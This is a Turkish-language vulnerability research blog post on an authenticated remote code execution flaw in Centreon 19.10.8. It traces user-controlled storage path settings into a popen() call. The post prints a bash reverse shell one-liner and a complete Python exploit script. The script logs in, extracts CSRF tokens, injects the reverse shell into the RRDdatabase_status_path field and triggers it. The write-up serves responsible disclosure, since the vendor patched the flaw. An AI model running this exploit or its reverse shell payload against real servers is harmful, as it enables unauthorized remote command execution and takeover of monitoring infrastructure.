Engin Demirbilek
  • Intro
  • [Pinned] Community
  • OSWE Review
  • Code Pieces
    • C++: Shellcode Launcher
    • C++: Dynamic DLL Usage
    • C++: Sendin HTTP GET Request
    • C++: Sandbox Detection via Registry
    • C++: Enumerating Environment
    • C++: Dll Injection
    • VBA: HTTP File Dropper
    • Environment Enumeration via Pshell & Cmd
  • Projects
    • Reverse Shell Exploit chain With AV Bypass
    • Execute Shellcode Launcher with Dll Injection
    • Bypassing AVs with simple XOR
    • Bypassing Defender with Exclusion List
  • Vulnerability Research
    • [TR] Centreon 19.10.8 Remote Code Execution
    • [TR] rConfig 3.94 Remote Code Execution
    • [TR] PANDORAFMS 7.0 REMOTE CODE EXECUTION x4
  • Pentest Notes
  • An Uncommon OSINT way to Juicy Files
  • GraphQL Testing Tips
  • Server Side Request Forgery (SSRF)
Powered by GitBook
On this page

Was this helpful?

  1. Vulnerability Research

[TR] Centreon 19.10.8 Remote Code Execution

PreviousBypassing Defender with Exclusion ListNext[TR] rConfig 3.94 Remote Code Execution

Last updated 3 years ago

Was this helpful?

Merhaba, adında açık kaynaklı bir ağ yönetim yazılımında katkılarıyla keşfettiğim Authenticated RCE zafiyetinin detaylı bulumunu anlatıyor olacağım. Bir önceki yazıda olduğu gibi türkçeye kaynak kazandırmak adına makaleyi türkçe kaleme aldım.

AUTHENTICAD RCE

Authenticated, zafiyetinin tetiklemesi için geçerli bir kullanıcı gerekli olduğunu belirtir. RCE ise uygulama üzerinden uygulamanın çalıştığı sunucuda sistem kodları çalıştırabilmemize olanak sağlayan zafiyet türüdür.

Centreon

  1. Uygulama indirme linki:

  2. Zafiyeti tespit edildiği sürüm: <= 19.10.15 < li>

  3. Zafiyet giderildi ve Centron tarafından özel teşekkür alındı:

BÖLÜM 1: Uygulama Eldesi

Kaynak kod analizini keyfi istekler doğrultusunda yapmamızdan ötürü bu uygulamanın adını üzerinde gezinirken gördüm. Tespit ettiğimiz zafiyet harici rce zafiyetleride bulunuyordu. Kurulum manuel yapılabileceği gibi yayıncı tarafından hazır OVA ve OVF dosyaları sayfasına koyulmuş. OVF dosyasını indirip VmwareFUSION ile sanal makineyi ayaklandırdık.

Bölüm 2: Kaynak Kod Eldesi

Sanal makine üzerinde gezinirken uygulamaya ait dosyaların /usr/share/centron dizininde olduğunu saptadık.

tar -czvf Centreon.tar.gz /usr/share/centron/
scp root@CentreonIP:/usr/share/centron/Centreon.tar.gz /tmp/Centreon.tar.gz

Bölüm 3: Kaynak Kodun İncelenmesi

Diğer makalelerimde de olduğu gibi kodlar arasında aşağıda belirttiğim sistem fonksiyonlarını aramaya başladık:

system, exec, shell_exec, popen, eval, passthru

Boşa geçirilen epey bir saatin sonunda /www/include/views/graphs/graphStatus/displayServiceStatus.php dosyasının 302. satırında zafiyetli olabilecek bir noktayı saptadık.

Sistem fonksiyonu olarak popen() fonksiyonu kullanılıyor ve $command_line isminde henüz nereden geldiği belli olmayan bir değişkeni parametre olarak alıyordu. Dosya üzerinde biraz daha gezinince $command_line değişkeninin aynı dosyanın data üst satırlarında veritabanından gelen verilerle oluşturulduğunu gördüm.

Yaklaşık 3 saat 205-215. satırlar arasında yer alan service_description, host_name değişkenleri kontrol edip edemeyeceğimize üzerinde uğraş verdik. Sonunda ilgili değerleri sistem üzerine verebileceğim bir nokta tespit ettiğimizi sanmıştık ki:

Güncellenilen hiç bir değerin gerekli tablo üzerinde değişmediğini gördük. Zafiyetli fonksiyona parametre olarak verilen veriler Centreon_storage adında bir veritabanı üzerinden geliyordu, arayüzden güncellediklerimse Centreon adında bir veritabanında güncelleniyordu. Bu durumun farkına ise aynı dosyanın 128-136. satırları arasında yer alan veritabanı sorgularına bakınca vardık.

index_data isimli bir tablo Centreon veritabanı üzerinde bulunmuyordu fakat Centreon_storage veritabanında bulunuyordu.

Bir kaç saat uğraşında ardından Centreon_storage veritabanı altında bulunan index_data tablosunu güncelleyebileceğim hiç bir nokta saptayamadık. Bunun yerine diğer girdilere oynamaya çalıştım, graph verileri üzerinde güncelleme yapabileceğim noktalar vardı fakat casting işlemlerinden ötürü string veremiyorduk o yüzden onlarıda es geçtik. Tekrar irdelemenin ardından $command_line değişkenine eklenen farklı bir girdi daha bulduk. 116. satırda bulunan $RRDdatabase_path değişkeni.

Bu değişken getStatusDBDir($pearDBO) fonksiyonundan dönen değeri alıyordu. Kodları biraz kurcalayıp ilgili fonksiyonun aynı dosyanın 58-63. satırları arasında tanımlandığını ve ilgili değişkeninde veritabanından geldiğini saptadık.

Eğer veritabanı üzerinden gelen bu değeri güncellemenin bir yolunu bulabilirsek pekala komutlarımıda çalıştırabilirdik. Tekrar kodları kurcalamakla geçirilen bir sürenin ardından, /include/Administration/parameters/DB-Func.php dosyasının 791. satırında tanımlanan updateODSConfigData fonksiyonunda ilgili değerin güncellendiğini gördük.

Yani eğer ki updateODSConfigData fonksiyonunu kontrol eden ve kullanıcıdan girdi alan bir nokta bulursak zafiyeti tetikleyebilirdik. IDElerin arama özelliğini kullanarak ilgili fonksiyonunun çağırıldığı yerleri saptadık:

Ilgili noktaya kullanıcı arayüzünden gittiğimde artık RCE'yi tetiklemek için önümüzde herhangi bir engel kalmadı.

Bölüm 4: Payload Hazırlanması

Girdinin önüne ve sonuna eklenen değerlerden kurtulmak için payload taslağımız ; PAYLOAD ; şeklinde olacak. Reverse shell payload: bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

BÖLÜM 5: EXPLOIT


      #!/usr/bin/python

      import requests
      import sys
      import warnings
      from bs4 import BeautifulSoup

      warnings.filterwarnings("ignore", category=UserWarning, module='bs4')

      if len(sys.argv) < 6:
      	print "Usage: ./exploit.py http(s)://url username password listenerIP listenerPort"
      	exit()

      url = sys.argv[1]
      username = sys.argv[2]
      password = sys.argv[3]
      ip = sys.argv[4]
      port = sys.argv[5]

      req = requests.session()
      print("[+] Retrieving CSRF token...")
      loginPage = req.get(url+"/index.php")
      response = loginPage.text
      s = BeautifulSoup(response, 'html.parser')
      Centreon_token = s.findAll('input')[3].get("value")

      login_creds = {
          "useralias": username,
          "password": password,
          "submitLogin": "Connect",
          "Centreon_token": Centreon_token
      }


      print("[+] Sendin login request...")
      login = req.post(url+"/index.php", login_creds)

      if "incorrect" not in login.text:
          print("[+] Logged In, retrieving second token")

          page = url + "/main.get.php?p=50118"
          second_token_req = req.get(page)
          response = second_token_req.text
          s = BeautifulSoup(response, 'html.parser')
          second_token = s.find('input', {'name':'Centreon_token'})['value']

          payload = {
              "RRDdatabase_path": "/var/lib/Centreon/metrics/",
              "RRDdatabase_status_path": ";bash -i >& /dev/tcp/{}/{} 0>&1;".format(ip, port),
              "RRDdatabase_nagios_stats_path": "/var/lib/Centreon/nagios-perf/",
              "reporting_retention": "365",
              "archive_retention": "31",
              "len_storage_mysql": "365",
              "len_storage_rrd": "180",
              "len_storage_downtimes": "0",
              "len_storage_comments": "0",
              "partitioning_retention": "365",
              "partitioning_retention_forward": "10",
              "cpartitioning_backup_directory": "/var/cache/Centreon/backup",
              "audit_log_option": "1",
              "audit_log_retention": "0",
              "submitC": "Save",
              "gopt_id": "",
              "o": "storage",
              "o": "storage",
              "Centreon_token": second_token,


          }
          print("[+] Sendin payload...")
          send_payload = req.post(page, payload)

          trigger_url= url + "/include/views/graphs/graphStatus/displayServiceStatus.php"
          print("[+] Triggerring payload...")
          trigger = req.get(trigger_url)

          print("[+] Check your listener !...")

      else:
          print("[-] Wrong credentials or may the system patched.")
          exit()

Go Top

Kodları daha uygun bir ortadamda IDE üzerinden incelemek için dizini ile sıkıştırdım ve SCP kullanarak ana makineye aktardık.

Dosyaları kendi tercih ettiğim idesini kullanarak kurcalamaya başladık.

Exploit-DB:

TAR
ATOM
Exploit
Centreon
Hasan Ekin'in
Centreon Downloads
https://github.com/centreon/centreon/pull/8467
Exploit-DB
Downloads
Centreon Source Code
Centreon popen
Centreon popen user-input
Centreon service configuration panel
Centreon false postivie rce
Centreon db
Centreon rce input